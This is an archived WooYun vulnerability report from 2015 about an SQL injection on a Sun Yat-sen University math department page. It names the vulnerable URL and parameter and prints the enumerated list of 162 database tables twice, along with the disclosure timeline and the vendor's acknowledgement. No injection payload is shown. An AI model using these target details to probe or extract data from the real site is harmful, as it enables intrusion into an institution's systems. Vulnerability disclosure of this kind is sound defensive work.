当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131367

漏洞标题:中山大学分站存在sql注入漏洞

相关厂商:CCERT教育网应急响应组

漏洞作者: 路人甲

提交时间:2015-08-05 12:25

修复时间:2015-09-21 07:48

公开时间:2015-09-21 07:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-05: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-17: 细节向核心白帽子及相关领域专家公开
2015-08-27: 细节向普通白帽子公开
2015-09-06: 细节向实习白帽子公开
2015-09-21: 细节向公众公开

简要描述:

没什么好说的=

详细说明:

存在漏洞链接:http://math.sysu.edu.cn/main/TeachersForce/TeaList.aspx?duty=1
dbs:

a.png


users:

a.png


current-db:

a.png


current-user:

a.png


tables :Database: shuji
[162 tables]
+-----------------+
| A2008 |
| D99_CMD |
| D99_REG |
| D99_Tmp |
| FA01 |
| FA02 |
| FA03 |
| FA04 |
| FA05 |
| MA01 |
| MA02 |
| MA03 |
| MB00 |
| MB01 |
| MB02 |
| MB03 |
| MB05 |
| MB05$ |
| MB06 |
| MD01 |
| ME01 |
| MF01 |
| Sheet1 |
| TA00 |
| TA01 |
| TA02 |
| TA03 |
| TA04 |
| TB00 |
| TB01 |
| TD02 |
| TG01 |
| TG02 |
| TG03 |
| TH01 |
| UA01 |
| UA02 |
| UB01 |
| UB02 |
| UB03 |
| VFA01 |
| VFA01_ |
| VFA02 |
| VFA02_ |
| VFA03 |
| VFA03_ |
| VFA04 |
| VFA04_ |
| VFA05 |
| VFA05_ |
| VMA01 |
| VMA01_ |
| VMA02 |
| VMA02_ |
| VMA03 |
| VMA03_ |
| VMB00 |
| VMB00_ |
| VMB01 |
| VMB01_ |
| VMB02 |
| VMB02_ |
| VMB03 |
| VMB03_ |
| VMB05 |
| VMB05_ |
| VMB06 |
| VMB06_ |
| VMD01 |
| VMD01_ |
| VME01 |
| VME01_ |
| VMF01 |
| VMF01_ |
| VTA00 |
| VTA00_ |
| VTA01 |
| VTA01_ |
| VTA02 |
| VTA02_ |
| VTA03 |
| VTA03_ |
| VTA04 |
| VTA04_ |
| VTB00 |
| VTB00_ |
| VTB01 |
| VTB01_ |
| VTD02 |
| VTD02_ |
| VTG01 |
| VTG01_ |
| VTG02 |
| VTG02_ |
| VTG03 |
| VTG03_ |
| VTH01 |
| VTH01_ |
| VUA01 |
| VUA01_ |
| VUA02 |
| VUA02_ |
| VUB01 |
| VUB01_ |
| VUB02 |
| VUB02_ |
| VUB03 |
| VUB03_ |
| V_FA02_1 |
| V_FA02_99 |
| V_FA05_1 |
| V_MA01_1 |
| V_MA01_99 |
| V_MA02_1 |
| V_MA02_99 |
| V_MA03_1 |
| V_MA03_99 |
| V_MB00_1 |
| V_MB00_99 |
| V_MB01_99 |
| V_MB02_1 |
| V_MB02_2 |
| V_MB02_98 |
| V_MB02_99 |
| V_MB03_99 |
| V_MB05_1 |
| V_MB06_1 |
| V_MF01_1 |
| V_TA01_1 |
| V_TA01_99 |
| V_TA04_1 |
| V_TA04_99 |
| V_TB01_1 |
| V_TD02_1 |
| V_TD02_99 |
| V_TG03_1 |
| V_TG03_99 |
| V_TH01_1 |
| V_TH01_99 |
| V_UA02_99 |
| V_UB02_99 |
| V_UB03_99 |
| WCRTEMP00001 |
| WCRTEMP00002 |
| 123$ |
| a |
| csm |
| dtproperties |
| foofoofoo |
| j2005$ |
| j2006$ |
| j2007$ |
| j2008$ |
| lrq |
| teacher |
| vAdminDept |
| v_admin_user |
| v_all_user |
| v_student_class |
| v_student_user |
| v_teacher_user |
| vmb0001 |
+-----------------+
-----
点到为止吧 求rank 我觉得厂商会忽视==

漏洞证明:

存在漏洞链接:http://math.sysu.edu.cn/main/TeachersForce/TeaList.aspx?duty=1
dbs:

a.png


users:

a.png


current-db:

a.png


current-user:

a.png


tables :Database: shuji
[162 tables]
+-----------------+
| A2008 |
| D99_CMD |
| D99_REG |
| D99_Tmp |
| FA01 |
| FA02 |
| FA03 |
| FA04 |
| FA05 |
| MA01 |
| MA02 |
| MA03 |
| MB00 |
| MB01 |
| MB02 |
| MB03 |
| MB05 |
| MB05$ |
| MB06 |
| MD01 |
| ME01 |
| MF01 |
| Sheet1 |
| TA00 |
| TA01 |
| TA02 |
| TA03 |
| TA04 |
| TB00 |
| TB01 |
| TD02 |
| TG01 |
| TG02 |
| TG03 |
| TH01 |
| UA01 |
| UA02 |
| UB01 |
| UB02 |
| UB03 |
| VFA01 |
| VFA01_ |
| VFA02 |
| VFA02_ |
| VFA03 |
| VFA03_ |
| VFA04 |
| VFA04_ |
| VFA05 |
| VFA05_ |
| VMA01 |
| VMA01_ |
| VMA02 |
| VMA02_ |
| VMA03 |
| VMA03_ |
| VMB00 |
| VMB00_ |
| VMB01 |
| VMB01_ |
| VMB02 |
| VMB02_ |
| VMB03 |
| VMB03_ |
| VMB05 |
| VMB05_ |
| VMB06 |
| VMB06_ |
| VMD01 |
| VMD01_ |
| VME01 |
| VME01_ |
| VMF01 |
| VMF01_ |
| VTA00 |
| VTA00_ |
| VTA01 |
| VTA01_ |
| VTA02 |
| VTA02_ |
| VTA03 |
| VTA03_ |
| VTA04 |
| VTA04_ |
| VTB00 |
| VTB00_ |
| VTB01 |
| VTB01_ |
| VTD02 |
| VTD02_ |
| VTG01 |
| VTG01_ |
| VTG02 |
| VTG02_ |
| VTG03 |
| VTG03_ |
| VTH01 |
| VTH01_ |
| VUA01 |
| VUA01_ |
| VUA02 |
| VUA02_ |
| VUB01 |
| VUB01_ |
| VUB02 |
| VUB02_ |
| VUB03 |
| VUB03_ |
| V_FA02_1 |
| V_FA02_99 |
| V_FA05_1 |
| V_MA01_1 |
| V_MA01_99 |
| V_MA02_1 |
| V_MA02_99 |
| V_MA03_1 |
| V_MA03_99 |
| V_MB00_1 |
| V_MB00_99 |
| V_MB01_99 |
| V_MB02_1 |
| V_MB02_2 |
| V_MB02_98 |
| V_MB02_99 |
| V_MB03_99 |
| V_MB05_1 |
| V_MB06_1 |
| V_MF01_1 |
| V_TA01_1 |
| V_TA01_99 |
| V_TA04_1 |
| V_TA04_99 |
| V_TB01_1 |
| V_TD02_1 |
| V_TD02_99 |
| V_TG03_1 |
| V_TG03_99 |
| V_TH01_1 |
| V_TH01_99 |
| V_UA02_99 |
| V_UB02_99 |
| V_UB03_99 |
| WCRTEMP00001 |
| WCRTEMP00002 |
| 123$ |
| a |
| csm |
| dtproperties |
| foofoofoo |
| j2005$ |
| j2006$ |
| j2007$ |
| j2008$ |
| lrq |
| teacher |
| vAdminDept |
| v_admin_user |
| v_all_user |
| v_student_class |
| v_student_user |
| v_teacher_user |
| vmb0001 |
+-----------------+

修复方案:

你懂的

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-08-07 07:47

厂商回复:

通知整改中

最新状态:

暂无